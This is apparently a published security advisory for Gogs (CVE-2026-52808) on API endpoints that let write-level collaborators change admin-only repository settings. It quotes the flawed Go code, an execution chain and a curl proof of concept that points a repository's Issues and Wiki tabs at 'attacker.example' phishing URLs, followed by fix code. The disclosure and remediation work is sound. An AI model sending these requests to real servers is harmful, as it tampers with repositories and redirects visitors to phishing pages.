Skip to content

GHSA-268j-37xf-pp52 CVE-2026-52808 GO-2026-5065

Gogs's write-level collaborators can mutate admin-only repository settings via API

High Go
Severity
7.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.48%
Chance of exploitation in the next 30 days. Higher than 41.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
CWE-863 Incorrect Authorization
Fix
0.14.3
Upgrade gogs.io/gogs to this version or later

Description

Summary

Three API endpoints — PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync — are gated by reqRepoWriter() rather than reqRepoAdmin(). The equivalent operations in the web UI sit behind reqRepoAdmin, which requires AccessMode >= AccessModeAdmin. A write-level collaborator (who has AccessMode == AccessModeWrite < AccessModeAdmin) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.

Severity

High (CVSS 3.1: 7.1)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

  • Attack Vector: Network — the API endpoints are reachable over HTTP/S.
  • Attack Complexity: Low — a single API call is sufficient; no chaining or race condition required.
  • Privileges Required: Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.
  • User Interaction: None — the attacker acts unilaterally.
  • Scope: Unchanged — the impact is contained to the targeted repository's settings and its visitors.
  • Confidentiality Impact: None — the attacker does not read confidential data directly.
  • Integrity Impact: High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.
  • Availability Impact: Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.

Affected component

  • internal/route/api/v1/api.go — route registration (lines 365–367)
  • internal/route/api/v1/repo_repo.go — issueTracker() (line 400), wiki() (line 437), mirrorSync() (line 463)

CWE

  • CWE-863: Incorrect Authorization
  • CWE-269: Improper Privilege Management

Description

Three admin-equivalent API endpoints are protected by write-level middleware

api.go:365-367 registers the three settings endpoints with reqRepoWriter():

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)

reqRepoWriter() (defined at api.go:131-138) passes any user whose repository AccessMode >= AccessModeWrite:

func reqRepoWriter() macaron.Handler {
    return func(c *context.Context) {
        if !c.Repo.IsWriter() {
            c.Status(http.StatusForbidden)
            return
        }
    }
}

The handlers themselves perform no additional privilege check before mutating state:

// internal/route/api/v1/repo_repo.go:400-428
func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    _, repo := parseOwnerAndRepo(c)
    ...
    if form.EnableExternalTracker != nil {
        repo.EnableExternalTracker = *form.EnableExternalTracker
    }
    if form.ExternalTrackerURL != nil {
        repo.ExternalTrackerURL = *form.ExternalTrackerURL   // ← attacker-controlled URL written directly
    }
    ...
    database.UpdateRepository(repo, false)   // ← no admin check before this call
}

The wiki() handler (lines 437–461) follows the same pattern, writing repo.ExternalWikiURL directly and calling UpdateRepository with no admin gate.

The web UI imposes a stricter admin requirement for the same operations

cmd/gogs/web.go:472 wraps the entire /settings subtree with reqRepoAdmin:

// cmd/gogs/web.go:425-472
m.Group("/:username/:reponame", func() {
    m.Group("/settings", func() {
        m.Combo("").Get(repo.Settings).
            Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)
        ...
    }, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())

context.RequireRepoAdmin() (defined at context/repo.go:434-441) requires AccessMode >= AccessModeAdmin:

func RequireRepoAdmin() macaron.Handler {
    return func(c *Context) {
        if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
            c.NotFound()
            return
        }
    }
}

In the access mode hierarchy, AccessModeWrite < AccessModeAdmin. A write-level collaborator satisfies reqRepoWriter() but does not satisfy RequireRepoAdmin(). The API path provides the write-level collaborator with capabilities that the UI correctly withholds.

Full execution chain

  1. Attacker precondition: Attacker is added as a repository collaborator with write access (AccessMode == AccessModeWrite).
  2. API call: PATCH /api/v1/repos/OWNER/REPO/issue-tracker with Authorization: token WRITER_TOKEN and body {"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}.
  3. Middleware: reqRepoWriter() checks c.Repo.IsWriter() → AccessMode >= AccessModeWrite → passes.
  4. Handler: issueTracker() sets repo.EnableExternalTracker = true and repo.ExternalTrackerURL = "https://attacker.example/phish", then calls database.UpdateRepository(repo, false). No admin check occurs.
  5. Impact: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.

Proof of Concept

# Precondition: attacker is a collaborator with WRITE access, not repo admin.

# 1) Redirect the Issues tab to an attacker-controlled phishing page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'
# Expected: HTTP 204 No Content

# 2) Redirect the Wiki tab to an attacker-controlled page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'
# Expected: HTTP 204 No Content

# 3) Force a mirror sync on a mirrored repository (potential resource abuse)
curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \
  -H "Authorization: token WRITER_TOKEN"
# Expected: HTTP 202 Accepted

Impact

  • A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.
  • The same redirect attack applies to the Wiki tab via the external wiki URL setting.
  • Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.
  • Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.
  • All three operations are silent — no notification is sent to repo admins when these settings change via the API.

Recommended remediation

Option 1: Change middleware to reqRepoAdmin() on all three endpoints (preferred)

Replace reqRepoWriter() with reqRepoAdmin() at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)

Option 2: Add an explicit admin check inside the handlers

Add c.Repo.IsAdmin() checks at the top of issueTracker(), wiki(), and mirrorSync(). This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.

func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    if !c.Repo.IsAdmin() {
        c.Status(http.StatusForbidden)
        return
    }
    ...
}

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Affected versions

Go

PackageVulnerableFixed in
gogs.io/gogs
< 0.14.3
0.14.3
gogs.io/gogs
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gogs.io/gogs Go → 0.14.3

go
go get gogs.io/gogs@v0.14.3 && go mod tidy

Severity breakdown

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-mq8m-42gh-wq7r
Gogs vulnerable to a bypass of CVE-2024-55947
High Known exploited Also affects gogs.io/gogs
GHSA-3w28-36p9-w929
Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS
Medium Also affects gogs.io/gogs
GHSA-744x-3838-5r56
Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API
Medium Also affects gogs.io/gogs
GHSA-xp79-5mx3-jx52
Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)
Medium Also affects gogs.io/gogs
GHSA-c39w-43gm-34h5
Gogs has Path Traversal in organization name that results in RCE through Git hooks
Critical Also affects gogs.io/gogs
GHSA-6p9m-q3jp-47h4
Gogs: LFS dedupe path leaks private repo content across tenants
High Also affects gogs.io/gogs
GHSA-89mr-xqfv-758m
Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym
Critical Also affects gogs.io/gogs
GHSA-wmfg-5p4h-5fw3
Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion
High Also affects gogs.io/gogs
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor